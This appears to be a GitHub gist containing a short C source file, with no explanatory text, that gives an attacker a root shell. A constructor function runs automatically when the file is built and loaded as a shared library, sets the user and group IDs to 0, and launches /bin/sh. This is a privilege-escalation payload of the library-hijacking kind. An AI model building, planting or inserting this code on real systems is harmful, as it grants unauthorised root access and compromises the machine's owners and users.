Skip to content

Instantly share code, notes, and snippets.

@int0x33
Created March 26, 2019 00:17
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save int0x33/53cf8869df84874fecc44c85e40aab8d to your computer and use it in GitHub Desktop.
Save int0x33/53cf8869df84874fecc44c85e40aab8d to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
int welcome = 333;
void inject(){
setgid(0);
setuid(0);
execl("/bin/sh","sh",0);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment